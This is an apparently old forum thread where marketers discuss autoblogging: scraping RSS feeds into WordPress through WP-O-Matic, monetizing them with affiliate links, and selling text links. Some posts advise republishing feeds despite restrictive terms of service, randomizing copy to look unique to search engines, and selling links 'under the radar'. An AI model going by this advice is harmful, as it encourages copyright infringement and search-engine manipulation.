      If you don't want to syndicate it, don't publicly publish the feeds. There are plug-ins that allow you to require anyone accessing your feed to be registered to your blog and signed in. At that point, dictate your TOS.

      But don't publicy publish a feed then get upset when it's actually used for what it was developed for - syndicating your articles/posts to other sites.

      Whether or not that is what you wish to use it for, that is what it is. It would make just as much sense as releasing a press release - then crying when it get's published. Or complaining that your article on EA is being published on other sites..

      Me - I have no problems with my feeds being grabbed by others. I drop links to my sites throughout my feeds, and hope they spread everywhere! THIS IS WHAT MAKES RSS SO GREAT FOR SEO!

      rant over
      That's without a doubt one of the most confusing aspects of feeds! I always thought it was for syndication but many bloggers only want their feeds used in personal readers....makes me feel like using anything that mashes feeds is a bit dangerous....any other opinions on this?
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      • Profile picture of the author Tim Dixon
        Originally Posted by Melody View Post

        That's without a doubt one of the most confusing aspects of feeds! I always thought it was for syndication but many bloggers only want their feeds used in personal readers....makes me feel like using anything that mashes feeds is a bit dangerous....any other opinions on this?
        In my experience so far, I have not had any problems how I use the content from RSS feeds in my business model. I follow these simple rules:

        I always link back to the original source from within the item with the original title anchor text.
        I always provide a contact link so that if people want their content removed they can contact me and I will always make sure I honour that if they do (only had that on one occasion so far).
        I never change the content of the original item (that's one of the differences between the way I do it and the way Keith does), not even to add a link for one of the words.

        As many will know, I do not create completely automated blogs, but like to pick and choose content I add and provide my own commentary where appropriate.

        Like Keith, if people want their content removed then I will do so, but the benefits they are getting in the form of backlinks and traffic to their site I think probably outweighs any misgivings they may have about a piece of their content (and unless they provide a full feed, it's only a snippet) being used on another site.

        Tim
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      • Profile picture of the author Keith Kogane
        Geez, I go away for a few days and there's like 2 more pages of comments! Thanks to the folks who have jumped in with answers to their fellow warriors' questions. Nice to see the thread continue in the spirit it was intended.

        Now, onto some specific responses:

        Originally Posted by Steven Wagenheim View Post

        Keith, the problem is, people want things handed to them on a silver
        platter. They don't want to do the work. They want the push button
        solution.

        It's just the nature of this business, so don't let it get to you.
        I don't. It's nothing more than irking. Thanks for the advice though!

        Originally Posted by trieke View Post

        And now for a big Thank You to Keith. My first site is finished except for tweaking my RSS feeds and then ultimately submitting it to the ping and RSS directories. I can't believe how easy this was in the end to setup and how slick this works. I am very excited to see how this site performs over time. Now to move on to site number two.
        Thank YOU for trying my method and giving some feedback. Glad it's working out for you! Let us know how it goes.

        Originally Posted by Steve Porcaro View Post

        Hi Keith, I know that you use Godaddy, however are all 60 of your so sites on one IP? Are you spreading these out in anyway?
        No, not really. Most of them are actually under the same hosting account. If I were making a blog network to use for pushing page rank to other sites, it would be a concern. However, with my current methodology and business model, the IPs of my sites really make no difference.

        The issue you mention is a factor when you have a site, Site A, and all the sites that link to Site A are on the same shared server. That looks suspicious, and is a sign of links pamming, aka "Google Bombing".

        However, that really has no bearing on my method, as the sites that link back to my blogs are all over the place: RSS directories, other blogs, aggregator sites, etc.

        Make sense?

        Originally Posted by Allegro View Post

        plus, i am developing my own business model on this one.

        aff-marketing meets autoblogging meets site-flipping. i just have to bring some cash up to buy some of the key-plugins that will bring the "real" automation - for example the autosocial poster pro plugin, as well as the plugin that automatically sells and publishes 125x125 ads.

        then you can just compile everything in a folder, upload it, add the rss feeds, submit the page to rss and blog directories and sell them. i think im going to do an info product on that one...

        Keith you should hurry up finishing your autoblogging product, so i can use the freebie to assemble a list that i can sell your product to
        Working on it currently. Just as this thread grew in the telling, the method has had a couple of additions to it since I started this thread, so I want to make sure I get that stuff ironed out for inclusion. Plus, I've needed to figure out Camtasia, as video tutorials have been a constant request. Anyway, working on it.

        Originally Posted by Magy View Post

        Keith,
        Thanks for that great tips. I will finish my school exams and i will try that! I just imagine that thing with ~100 blogs! Well, i will start when i have some times, it seems so easy to cover a lot of niches.
        And it can give me more strengh to join a CPA Network : all good!

        I have some questions before starting

        -When we submit our RSS feed to some websites, they are ok if our content is only about others feeds? Or i must check if they allow that?
        -When you speak about "every place possible". We really need to dig the whole web to find a lot of places? or maybe 40-50 places will be enough? I am lost when i havent numbers
        -The ping list only help to rank faster? I have found a lot of list on the web but everytime, i see some ping url that ping to others sites in the list and so, everytime we will ping the same site even if we dont see the same url in the list (things like pingomatic that pings others websites) So if we can see only small differences beetween small and big pinglist i will go for a small.
        Well, so, if you can just give some numbers about your pinglist and to how many sites you submit, it will be great.
        Here are some answers:
        1. It shouldn't matter, but always check submission guidelines any time you submit your site, and be sure to follow the site's directions as well.
        2. I tend to think "the more the merrier" so far as compiling a list of possible resources. I think the Pareto Principle stands (aka the 80/20 rule) so you're going to be getting the most results from just a handful of sites. However, you'll never know which the best performing handful of sites is unless you test them often, and test new ones you come across as well. Also note a lot of submission places are niched too, so performance will vary depending on your topic.
        3. Re: Pinglist, search for "compressed all inclusive pinglist" and you'll get a nice short, but complete ping list for your blogs. IMPORTANT: Remember to turn off all pinging and indexing on your blog while setting this stuff up. Once everything's running smoothly, THEN go bublic.


        Originally Posted by HeySal View Post

        BIG WET SMOOCH, Kieth,

        I just had to take my blog off a server and was trying to figure out what
        the heck to do with it as I don't have time for it - but it's really a shame
        to have a great domain just sitting. This is perfect for it.

        Merci Beaucoup mon ami.

        Oh - and by the way. I think you gave out MUCH more info than you had to and think you deserve a big gold star (along with the big wet smooch) for revealing ebook quality info for free here. Class act by all definitions.
        Thanks very much for the kind words, Sal! You're very welcome!

        Originally Posted by vicone View Post

        The posts here and in Keith's original outline concerned RSS feeds that were basically news items.

        That seems to be a bit of a waste of an opportunity. If the RSS feed consisted of details about relevant products for sale there is a chance of a sale. Many websites have been built using data feeds but these can be a bit cumbersome to set up.

        A good choice for an automated system is a WP plugin that takes feeds automatically and allows some administrative guidance through a panel as to product, mix of merchants, and number of posts.

        A WP plug that can do this is Affiliate Datafeed Profit System at:

        The Affiliate Datafeed Profit System Version 2

        From the website:



        It costs only $79, is easy to set up and will drip feed posts according to your own schedule.

        Ivan
        Yeah, that's one possibility of what can be done with this method. I wouldn't recommend doing product feeds exclusively though. If you can work them into some ongoing content, it'll work a lot better. In my admittedly limited personal experience, the blogs like this that do well are ones that are in niches that are not overtly commercial in nature. Namely, the niches are organized more around ideas and discussion rather than consumption of one thing or another. So a blog that's just a bunch of products isn't worth anything to the community. Also, the self-spreading formula assumes that other publishers will want to pick up my feeds, which if they consist of nothing but affiliate product stuff, that's less likely to happen. But the affiliate feed route is worth exploring - it's just not what my method is about, or the direction I'm currently going in.

        Originally Posted by Alminc View Post

        Now, I have some other questions that either Keith or someone else may answer:


        1. What do you think about the 'static frontpage' model? (the homepage is a static page, and the posts are posted into 'blog' section). I thought that it may be a good model since you can write a longer home page to promote a product or affiliate program.

        2. Auto Social Poster plugin: I tested that plugin and it reports more than a half of submissions as 'failed' . For example: 'login error' or ' couldn't connect to the site' or 'error while posting'. I double checked all my logins to social bookmarking sites manually and they are ok, but ASP reports failed submissions.

        Any experiences, suggesstions for improvement?

        3. Where to buy a best plugin that can manage selling banner ads directly?

        4. Do you have any experiences with 'uniquefier' plugin? It's supposed to make the content unique in the eyes of search engines but I read both good and bad comments about it...

        5. Do you know of any good software for automatic/semiautomatic RSS feed submission?

        6. Could you please suggest some free/paid wp themes that would be good for this kind of automated blogs?


        Almin
        1. I don't use a static one, but a lot of the "magazine" style themes tend to have a unique homepage template that's more of a grid kind of setup. But then again, I build news sites. If you're building one of these for the purpose of promoting a sole offer or product, yeah, use a static homepage like you describe. Or you could even make presell pages within wordpress, and use your gocodes and keywords to link people to your presells before they get to the affiliate sites. Anyway, probably not the answer you wanted, but I hope it helps.

        2. I don't use it on a lot of sites, and I never really took too close a look at it. For the most part, I only bookmark unique articles as a rule, and I don't frequently post those. On the blogs I do, I've mostly hand submitted the articles I wanted to bookmark. I would like a more automated way to do this, but I don't know of other solutions like Auto social poster pro. Someone told me I should check out Traffic Geyser, so maybe look into that.

        3. Sorry, I have no info on that, but I intend to evaluate a few at some point.

        4. I was looking at it, but it kind of just crams random stuff into the code of your copy, so it renders readable in the browser. However to the spiders, it "looks" unique because of the hidden gibberish. However, this method also kind of negates any SEO hopes your site may have, as it chops up the words in your copy and makes them nonsensical when they get indexed. It sacrifices SEO-ability for uniqueness. Not recommended. I've been checking out synonymizer, and I like that a bit better, although I'm currently focused more on using synonyms inside WP-O-Matic itself, as well as using campaign templates, randomized copy, and a couple of other things. My goal is to make the RSS snippet only a very small part of the content of the post.

        5. No, but I keep my out for them. The fact is though, this phase is where you're going to want to drip things out over time anyway so you don't seemingly appear out of nowhere to the Search Spiders. Just get on a weekly schedule, and add each site to a few more places each time.

        6. I tend to look for "news themes" or "magazine themes" - what I want is a more grid-based front page. I've been messing with the revolution 2 themes quite a bit recently, but I just pick something that A. matches the niche and B. matches the information design, which in my case is usually a news aggregation site.

        Originally Posted by vicone View Post

        1. For RSS submissions, have a look at RSS Submit, available from:

        ksoft- RSS Submit - Software to Easily Submit Your RSS Feeds

        That's not an affiliate link.

        For a WP Theme, Flexibility theme presents well and has many options for display that are easy to select. It's free and can be downloaded here:

        Flexibility Theme for WordPress

        Ivan
        Thanks Ivan! I think that Flexibility theme is a cool idea for sure. I'll look into it when I have more time. (Which is not until I finish my report!)

        Originally Posted by Magy View Post

        Bookmarked. Thanks!

        Originally Posted by laurieslegends View Post

        It is a great post, thanks Keith. I wish I could find a video showing step by steps on the wp-o-matic setup and workings, I have had problems similar to the one described above, getting it all to work out right.

        Laurie
        You're welcome Laurie. I'm working on it.

        Originally Posted by Anthony Smith View Post

        good business model, but why give your idea to us mere mortals
        Some guys would say it's because I'm a dummy, but I figure I can give away cool stuff now and then and not ruin my chances of being a "good marketer".

        Originally Posted by jasonl70 View Post

        People who cry about others publishing their feeds need to realize that RSS feeds are for syndicating your content.

        If you don't want to syndicate it, don't publicly publish the feeds. There are plug-ins that allow you to require anyone accessing your feed to be registered to your blog and signed in. At that point, dictate your TOS.

        But don't publicy publish a feed then get upset when it's actually used for what it was developed for - syndicating your articles/posts to other sites.

        Whether or not that is what you wish to use it for, that is what it is. It would make just as much sense as releasing a press release - then crying when it get's published. Or complaining that your article on EA is being published on other sites..

        Me - I have no problems with my feeds being grabbed by others. I drop links to my sites throughout my feeds, and hope they spread everywhere! THIS IS WHAT MAKES RSS SO GREAT FOR SEO!

        rant over
        Yeah, that's the way I look at it too, but it doesn't mean it's the only interpretation of the "correct" use of RSS. It's really up to the site owner, and if they don't specify, you should probably contact them and ask permission. That's what you should do. Do I do that? Nah, not really. But again, I'm not republishing the entire feed, or even every post from that feed. And I always link back to the source. Which is pretty common blog/journalism practice.

        Originally Posted by Melody View Post

        That's without a doubt one of the most confusing aspects of feeds! I always thought it was for syndication but many bloggers only want their feeds used in personal readers....makes me feel like using anything that mashes feeds is a bit dangerous....any other opinions on this?
        Opinions vary. Debate rages. When the terms of use of a feature of a particular site are in question, you can always contact the owners and ask permission. Get it in writing. That's the way to be sure you're 100% in compliance. Many people, myself included, are not anywhere near that thorough. Personally, I look for TOCs, make sure they don't explicitly forbid any part of my method, and just go ahead. (Ezinearticles, for example, does not allow the relinking of words within the content of their articles - GoArticles doesn't disallow it.) If they don't have clear TOCs, I take the existence of a feed as an indicator that they want to be syndicated. If not, I'm easy to contact from any of my sites. No one's ever contacted me to pull anything as of yet though.

        Whew - back to work! If you've sent me a PM I haven't replied to yet, I'll try to get to those tomorrow. I was going to tonight, but this reply has tired me out.

        Thanks again everyone for contributing new ideas and helping others along. That's why this forum kicks ass.
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  • Profile picture of the author laurieslegends
    Sorry about the delay, I was up so late, I decided to take a nap this afternoon.

    Anyhow been scouring over my 200+ some file, and did a little research.

    I knew I had read a description for it.

    Found where I read it but it had led to a 404 page. Still looking to see if I can find a link to download it somewhere else.

    DCoda Downloads

    That is where I found the description for it.

    Laurie

    PS Sorry to leave you hanging.
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  • Profile picture of the author Magy
    Thanks for your time Keith.
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    Less Questions, More Action!
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  • Profile picture of the author Alminc
    My goal is to make the RSS snippet only a very small part of the content of the post.
    What other textual content besides adsense ads can be included
    in wpomatic's post template?
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    No links :)
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  • Profile picture of the author Chris_L
    Keith,

    What's your take on news feeds that came with "none commercial use" restrictions? Does that mean we can't place affiliate links with the feed?

    Thanks.

    ~Chris
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    • Profile picture of the author vicone
      1. I know that we're primarily concerned with automated solutions. However, from time to time you might want to make an individual post to a blog and a very cool tool that can do this offline to many different blogs is -

      BlogDesk

      It will also insert images - and it's free.

      2. This second tool is more of a heads up as it's still in beta and hasn't been released yet. It will allow you to extract data from any web page into a text file - including tables - and then be able to edit it for a future post. These posts can then be scheduled for release to your blog. There's a bit of manual work in assembling this - you have to do the editing - but the content of your blog will be high quality. Check out the short video here:

      http://webdataparser.com/

      Ivan
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    • Profile picture of the author Keith Kogane
      Originally Posted by Alminc View Post

      What other textual content besides adsense ads can be included
      in wpomatic's post template?
      Anything that you can think of that makes sense with the RSS feed you're pulling. I'm using a plugin called "Get Random Page" which allows you to use a PHP call in your template that will pull the content from a random child page of a page you give in the PHP code. I also use the ExecPHP plugin for this also. I create several pages of generic intro and comment type content. I actually do this almost sentence by sentence, and write several versions of each.

      Then, in WP-O-Matic's templates, I use the PHP call and pull in different random selections of text. Because I'm using ExecPHP, I can put this call inside the posts itself instead of just in the template as it was designed. I plan this carefully of course, so that the copy still makes sense, but is composed of randomly selected variations of the same sentences.

      There are a couple of problems with using this method directly in one of these blogs.

      First, you will have a lot of pages of content that are not meant to be viewed as such. You want to use something like "Page Link Manager" plugin to hide all these content child pages from your admin. At least, that's what I'm experimenting with now - I haven't fully tested it, but I'm hoping that even though it "hides" pages from appearing to the user, it will still allow the PHP call to retrieve the content from the database.

      Another flaw of this method is that it does the random selection of page content at the time the page renders, so every time you refresh, your posts change.

      One possible solution I thought of (which actually solves both problems) is to create a special WordPress installation that will construct your feed for you. This install will be kept completely private and exists only to build the feeds that I will use on my "money" blogs.

      This is a good idea for a couple of reasons, primarily that I control the source of the feed. If I choose to flip the site, the new owner can re-construct their own RSS content, or they can pay me a small subscription fee to continue using the one I set up.

      Hope that makes sense. The more detailed version will be included in the report, but that's pretty much the whole thing - just not step-by-step, and not fully tested.


      Originally Posted by Chris_L View Post

      Keith,

      What's your take on news feeds that came with "none commercial use" restrictions? Does that mean we can't place affiliate links with the feed?

      Thanks.

      ~Chris
      That's what it sounds like to me. I'm not a lawyer or anything, but I can't think of how inserting links into that content could possibly be considered non-commercial. I'd avoid using that feed for this method. That's not to say you couldn't use that feed for content building purposes, I just wouldn't suggest you be so blatant with monetizing that content if they tell you not to.

      Using a variation of the method I briefly described above, you could keep links out of the feed, but use your own snippets to insert links into.

      Using a "feeder" installation for constructing your content is really a big step in the evolution of this method for me. It's opening up a lot of possibilities, but I'm trying to hold off messing with it too much just so I can finish the report on the *current* method since people keep asking.

      But just to give a few ideas out there - use the above method (feeder site) by loading it with a ton of PLR. Do the variation rewrites the way I said, and set everything up so it spits out unique, randomized (but human readable) variations of your PLR articles. Charge for access to your infinite PLR article machine.

      Lots of cool ideas there, see?

      Anyway, back to work! I need to quit checking this thread until I finish the report though, lol.
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      • Profile picture of the author manzilla911
        Looking forward to your autoblogging product. Hope it will fill in sum of the gaps.
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      • Profile picture of the author Chris_L
        Originally Posted by Chris_L View Post

        Keith,

        What's your take on news feeds that came with "none commercial use" restrictions? Does that mean we can't place affiliate links with the feed?

        Thanks.

        ~Chris
        Originally Posted by Keith Kogane View Post

        That's what it sounds like to me. I'm not a lawyer or anything, but I can't think of how inserting links into that content could possibly be considered non-commercial. I'd avoid using that feed for this method. That's not to say you couldn't use that feed for content building purposes, I just wouldn't suggest you be so blatant with monetizing that content if they tell you not to.
        keith,

        But so far every feed I run into has a non-commercial restriction. For example, here's a snippet of Google's TOS:

        "Use of the Service. You may only display the content of the Service for your own personal use (i.e., non-commercial use) and may not otherwise copy, reproduce, alter, modify, create derivative works, or publicly display any content. For example, you may not use the Service to sell a product or service; use the Service to increase traffic to your Web site for commercial reasons, such as advertising sales; take the results from the Service and reformat and display them, or use any robot, spider, other device or manual process to monitor or copy any content from the Service. If you are uncertain whether your intended use of the Service is permissible, please contact us. In addition, Google shall have the right in its sole discretion to suspend or terminate the Service or your access to it."

        And here's another TOS from a local newspaper site:

        "You may use the Content online only, and solely for your personal, non-commercial use and you may download or print a single copy of any portion of the Content solely for your personal, non-commercial use, provided you do not remove any trademark, copyright or other notice from such Content..."

        If I understand correctly, I can't use Google's news feed or any feed with non-commercial restrictions. What else is left for us to use then?

        I really like your idea, but I have been having a difficult time gathering legit RSS feeds that I could use.

        Thanks.

        ~Chris
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        • Profile picture of the author Keith Kogane
          Originally Posted by Chris_L View Post

          keith,

          But so far every feed I run into has a non-commercial restriction. For example, here's a snippet of Google's TOS:

          "Use of the Service. You may only display the content of the Service for your own personal use (i.e., non-commercial use) and may not otherwise copy, reproduce, alter, modify, create derivative works, or publicly display any content. For example, you may not use the Service to sell a product or service; use the Service to increase traffic to your Web site for commercial reasons, such as advertising sales; take the results from the Service and reformat and display them, or use any robot, spider, other device or manual process to monitor or copy any content from the Service. If you are uncertain whether your intended use of the Service is permissible, please contact us. In addition, Google shall have the right in its sole discretion to suspend or terminate the Service or your access to it."

          And here's another TOS from a local newspaper site:

          "You may use the Content online only, and solely for your personal, non-commercial use and you may download or print a single copy of any portion of the Content solely for your personal, non-commercial use, provided you do not remove any trademark, copyright or other notice from such Content..."

          If I understand correctly, I can't use Google's news feed or any feed with non-commercial restrictions. What else is left for us to use then?

          I really like your idea, but I have been having a difficult time gathering legit RSS feeds that I could use.

          Thanks.

          ~Chris
          Here's the deal - they're going to make their TOS as restrictive as possible, because it's a business concern. It's a "C.Y.A." measure. A strict reading of that TOS would mean that it actually denies you "fair use" rights to the content, which they can't legally do. (Have you ever read the AdSense TOS? I'm pretty sure that if you intend to use it to make money, you're not allowed to use it.)

          But consider that they don't actually own the rights to the content they're displaying (talking about Google News here, which has no original content). Therefore rather than get into the murky waters of what EXACTLY you can do with it, they just say you can't do anything with it at all except look at it. That way, for whatever reason, they are covered.

          Just as I am when I say "hey, make sure you get proper permission to use feeds in this way" - what you use and how you use it is ultimately your own responsibility.

          Ideally, you want written permission. Without that, strive to make your blog fulfill the requirements for "fair use" according to the copyright rules. That involves having rss content from a diverse number of sources, having that mixed in with occasional original/unique content, making sure the obvious primary use of the site as informational rather than commercial (ie, don't charge for access to the content), using snippets of content rather than entire articles, and finally - always give credit and link back to the source. To back that up even more, make SURE you can be contacted from your blog, and you should even provide special instructions for contact re: content removal request.

          But I ain't a lawyer, so...

          If good enough isn't good enough for you, then I suggest you pass on my method in the OP, and maybe try some of the original content methods I recently outlined. The automated blog is a very powerful marketing tool, and if you can't stomach working with the feeds while it remains a gray area, you should investigate other ways to pull it off using original content. Or at least cheap PLR.

          Anyway, hope that helps, and I hope you understand the need for me to answer in this way. I'm just some dude you met on the internet.
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          • Profile picture of the author Chris_L
            Originally Posted by Keith Kogane View Post

            Here's the deal - they're going to make their TOS as restrictive as possible, because it's a business concern. It's a "C.Y.A." measure. A strict reading of that TOS would mean that it actually denies you "fair use" rights to the content, which they can't legally do. (Have you ever read the AdSense TOS? I'm pretty sure that if you intend to use it to make money, you're not allowed to use it.)

            But consider that they don't actually own the rights to the content they're displaying (talking about Google News here, which has no original content). Therefore rather than get into the murky waters of what EXACTLY you can do with it, they just say you can't do anything with it at all except look at it. That way, for whatever reason, they are covered.

            Just as I am when I say "hey, make sure you get proper permission to use feeds in this way" - what you use and how you use it is ultimately your own responsibility.

            Ideally, you want written permission. Without that, strive to make your blog fulfill the requirements for "fair use" according to the copyright rules. That involves having rss content from a diverse number of sources, having that mixed in with occasional original/unique content, making sure the obvious primary use of the site as informational rather than commercial (ie, don't charge for access to the content), using snippets of content rather than entire articles, and finally - always give credit and link back to the source. To back that up even more, make SURE you can be contacted from your blog, and you should even provide special instructions for contact re: content removal request.

            But I ain't a lawyer, so...

            If good enough isn't good enough for you, then I suggest you pass on my method in the OP, and maybe try some of the original content methods I recently outlined. The automated blog is a very powerful marketing tool, and if you can't stomach working with the feeds while it remains a gray area, you should investigate other ways to pull it off using original content. Or at least cheap PLR.

            Anyway, hope that helps, and I hope you understand the need for me to answer in this way. I'm just some dude you met on the internet.
            Wow. I didn't think my post about the RSS feed TOS came across as something I "can't stomach". Please understand that not many people are at the same expert level as you. Many people are starting out, like me, who are just trying to understand this RSS Feed stuff. What might be a silly question to you might be an all important issue to a newbie.

            Since you are planning a WSO, the feedback you get from this thread also benefits you as well. I'm just providing feedback about your method and raising legitimate concerns.

            I believe you should look seriously into the legal aspect of your method and address it with clear answers. Especially if you plan to charge people with your WSO. By recommending people to build a business model on a "grey area" is like telling people to build a house on sand. It will eventually fall if the foundation is not properly laid out.

            Best of luck to you in your future endeavors.

            ~Chris
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            • Profile picture of the author Keith Kogane
              Originally Posted by eficker View Post

              Keith: Great work and thanks for giving this away. I am already waist deep in a few blogs with this model and am excited for where it will go.

              My question:

              Is there anyway to prevent WP-o-matic from parsing and rewriting html links as they come in from the feeds?

              In my case there is usually a keyword in there and it pulls the link out of the code and puts in into plain text in the post making a mess.

              TIA
              I believe there was a solution to this posted earlier in the thread. It involves using regular expressions to do the search and replace and including spaces both before and after the word you want to replace. It should be just a couple of pages back. Try that, and let me know if it solves your problem.

              Originally Posted by Alminc View Post

              Keith,

              Can you recommend a good plugin/widget that enables
              and lists category specific feeds?

              It would be good to have it on a private blog in order to
              build themed feeds for 'money' blogs.

              Almin
              You don't need a plugin. Category feeds are built into Wordpress. You can get to them by using: "hxxp://example.com/category/categoryname/feed" - a plugin might help keep organized, but isn't strictly needed.

              You can find out more here: http://codex.wordpress.org/WordPress..._Your_Feed_URL

              Originally Posted by Chris_L View Post

              Wow. I didn't think my post about the RSS feed TOS came across as something I "can't stomach". Please understand that not many people are at the same expert level as you. Many people are starting out, like me, who are just trying to understand this RSS Feed stuff. What might be a silly question to you might be an all important issue to a newbie.

              Since you are planning a WSO, the feedback you get from this thread also benefits you as well. I'm just providing feedback about your method and raising legitimate concerns.

              I believe you should look seriously into the legal aspect of your method and address it with clear answers. Especially if you plan to charge people with your WSO. By recommending people to build a business model on a "grey area" is like telling people to build a house on sand. It will eventually fall if the foundation is not properly laid out.

              Best of luck to you in your future endeavors.

              ~Chris
              Didn't mean to imply anything personally about you, Chris. I didn't mean you, specifically, can't stomach it. The fact is, some folks here will read that and will just use it as an excuse to discount the whole method and continue bouncing around without ever finishing anything or making any profit. It IS a grey area, but I'm comfortable with that. Others might not be, so that's who I meant that statement for.

              I was just laying out what I know, and for other readers, if they don't want to get involved in the grey area of "fair use" or they don't want to ask permission, or get legal advice, etc. - I was just pointing out not to discount the method altogether, as with original content, it's just as powerful and automated. Other people's RSS is just one source of content. As I've recently discussed here, you can create your OWN RSS feeds and use those with the method. Lots of possibility.

              The sources of the content, and the methods of monetization (to me) are secondary. The real power comes in the automated, self updating, self promoting nature of the system. I just don't want people to discount that and shortchange themselves because they find non-vital parts of the system to be "iffy". Whether it's not finding feeds or not finding a market for text links or whatever. There's more here than just these specific moving pieces. Remember, I developed this system over time after FAILING with making automated Adsense blogs. If a piece of this isn't going to work for your particular goal, it's easily modified, and there's lots more you can try.

              In fact, as my recent posts indicate, I've evolved the method somewhat, and have recently bought a bunch of PLR. I intend to set up a whole mess of blogs using my above method of creating randomized niche feeds from the original content, and using THOSE to power my other blogs. I'm not doing this because using other feeds bugs me, but rather I'm doing it to solve the problem of having too little niche chatter to otherwise power a potentially profitable niche blog. But I digress.

              In closing, I fully appreciate the feedback, and the lengthy response from me was meant to respectfully to respond to your important question. Please accept my comments in the spirit they were intended and don't take any undue offense!
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              • Profile picture of the author eficker
                Originally Posted by Keith Kogane View Post

                I believe there was a solution to this posted earlier in the thread. It involves using regular expressions to do the search and replace and including spaces both before and after the word you want to replace. It should be just a couple of pages back. Try that, and let me know if it solves your problem.
                Found it. Thanks! Now to implement. Again, thanks for your time. I hope your WSO for this pays your bills for a looooong time. Anyone looking into this model would be dumb not to buy it.
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  • Profile picture of the author shtalker
    this is good info!!!
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  • Profile picture of the author budfox
    The one thing that really got my wheels turning from this whole concept was that of selling text links on the blogs once they reach PR4. Keith you suggested that that by mere virtue of having a PR4 blog you can sell text links for $50 per month, ten of them on the same blog.

    This was such a compelling suggestion that I started researching it. After all, if this is true then there are a lot of other business models that make sense for simply aquiring pr4+ websites and/or blogs and instantly having a $500 per month income vehicle.

    My research is not confirming this assertion of yours unfortunately. I am not finding an eager market for text links on high PR sites that have no original content and not much real traffic anywhere near those prices, and I have been investigating all the places you go to sell links.

    So if you are going to do a WSO, I would ask that you fully break down the exact procedure for selling links. Where to go, how to sell them, what kind of copy to write in the ads, the exact procedure.

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    • Profile picture of the author Keith Kogane
      Originally Posted by budfox View Post

      The one thing that really got my wheels turning from this whole concept was that of selling text links on the blogs once they reach PR4. Keith you suggested that that by mere virtue of having a PR4 blog you can sell text links for $50 per month, ten of them on the same blog.

      This was such a compelling suggestion that I started researching it. After all, if this is true then there are a lot of other business models that make sense for simply aquiring pr4+ websites and/or blogs and instantly having a $500 per month income vehicle.

      My research is not confirming this assertion of yours unfortunately. I am not finding an eager market for text links on high PR sites that have no original content and not much real traffic anywhere near those prices, and I have been investigating all the places you go to sell links.

      So if you are going to do a WSO, I would ask that you fully break down the exact procedure for selling links. Where to go, how to sell them, what kind of copy to write in the ads, the exact procedure.

      Thanks
      Hey Bud,

      As I mentioned here and a couple of other places, the text links I sell are brokered through a friend who has a list of folks who are interested in buying those things, and $50 a month for a link in the blogroll is what he charges, and I get half that. I guess that's not the process people would go through for selling text links, and I don't have much experience going about it a different way. I've been very lucky with that opportunity, but it's not something I can repeat for others, and the only reason my income with it is that high is because I have a captive audience for whom I am the sole supplier. In fact there's no rule that says you can't specifically seek out partners who can help you sell these. They're out there. Any SEO guy who recommends that buying links can probably help you out.

      Even discounting my specific circumstance, there's still huge opportunity for ad revenue. I have to think that using something like this: Sell text link ads. Direct. No commissions. Instant payment - WP Text Ads would be worth it once you have a nicely developed blog.

      Set that (or something else like it) up, and then approach sites in your niche and sell some ads. Text, banner, whatever you want to do. Ask for as much as you think you can get. You should be able to get more directly than what you can get from any of the brokerage sites. Plus, consider that once you have your distribution set up, you can include solo advertorial posts as part of an advertising package as well.

      When you're selling ads, you are going after two different types of buyer, generally speaking. You have the SEO savvy guy, who doesn't care about the traffic as long as you have a high PR, a recent cache date, an aged domain, etc. etc. Those are the kinds of people buying links from me now, and they are pre-sold on it because they are SEO students of my friend, and that's what he tells them is worth buying. I'm no SEO guy, so I take his word for it. The money goes in my PayPal account, so I believe him.

      Then the other ad buyer is the non-SEO savvy guy who goes about buying ads like any other business man. That is, with little care for results. For him, traffic might be important, but most likely you're going to be more successful if you appeal to vanity or positioning between rivals in a niche. You're going to need a more direct relationship for this, and it's less automated. However, it DOES keep your focus on money-making and selling rather than having to get bogged down in content creation.

      But as with anything, your mileage may vary. However, if you wanted to focus on text links as a single focus business model with this method, I'd suggest you keep in mind the above. Look for niches with either SEO savvy/deep pocket merchants, or non-techie/high competition merchants. That will give you the best chance of demanding high ad prices and making sales and getting recurring payments from them.

      Or, you can still go with the brokers or reseller networks and just go lowbrow, you'll just have to make more blogs to make up for the lower payouts per ad.

      Anyway, sorry for the rambling. I wish I had more solid recommendations for you on that aspect, but hopefully my noodling gives you an idea or two.
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  • Profile picture of the author Tim Dixon
    As usual Keith, your rambling and noodlings are usually a pretty much common sense approach to these things, so keep them coming.

    Re. the post about using original content if you are not happy about using feeds, that is my take on it as well.

    Although you can of course quite legally re-use articles from article directories in your content with the proper attribution.

    I look at adding those into my Google Reader model in part 2, which is not far off being finished now.... I hope....

    Tim
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  • Profile picture of the author craftscn
    subscribe google rss for certain keywords to get contect. it will be good too.
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  • Profile picture of the author kevinw1
    Those interested in selling text links should be aware that Google has been becoming more and more against this, and penalizing sites who sell links, so you'll want to do it in a way that's "under the radar". Advertising right on your site that you sell text links, for example, would be a dead giveaway!
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    • Profile picture of the author Keith Kogane
      Originally Posted by kevinw1 View Post

      Those interested in selling text links should be aware that Google has been becoming more and more against this, and penalizing sites who sell links, so you'll want to do it in a way that's "under the radar". Advertising right on your site that you sell text links, for example, would be a dead giveaway!
      Yes, very good point. That's why you want to be careful not to make any kind of "footprint" if you're selling links, or even just using cross site linking to juice up other sites you own.

      To be clear, Google doesn't care if you sell links. They care when you are doing so to "sell" PR value. In their eyes, you should nofollow commercial links. Of course, that will drastically decrease the amount you can charge for them. At least for the SEO savvy. For the other kind of advertisers (Vain and Competitive) it doesn't really matter because they don't know what nofollow is anyway.

      In fact, that plugin I linked to before automatically makes all your commercial links nofollow so you can be "cool" with Google.
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      • Profile picture of the author JustVisiting
        I've upgraded my WP sites.

        WP-o-matic works with WP2.7
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  • Profile picture of the author nat
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    this was very helpful thanks.
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  • Profile picture of the author lisa mesa
    Great thread - thread of the year!

    A quick question for the tech geniuses...

    I have been unable to get WP-O-Matic to work, the setup menu does not work and I have been unable to find a fix. The setup screen loads but when you click to start the process nothing happens.

    Anyone know a way to resolve this issue or an alternative plugin to automate posting?

    Thanks
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    • Profile picture of the author Tim Dixon
      Originally Posted by lisa mesa View Post

      Great thread - thread of the year!

      A quick question for the tech geniuses...

      I have been unable to get WP-O-Matic to work, the setup menu does not work and I have been unable to find a fix. The setup screen loads but when you click to start the process nothing happens.

      Anyone know a way to resolve this issue or an alternative plugin to automate posting?

      Thanks
      I have some issues occasionally where my FTP program does not upload all of the files into the plugin directory.

      You may want to check it isn't that (although when that happened I actually got some PHP script errors when I tried to run anything)

      Tim
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    • Profile picture of the author Keith Kogane
      Originally Posted by lisa mesa View Post

      Great thread - thread of the year!

      A quick question for the tech geniuses...

      I have been unable to get WP-O-Matic to work, the setup menu does not work and I have been unable to find a fix. The setup screen loads but when you click to start the process nothing happens.

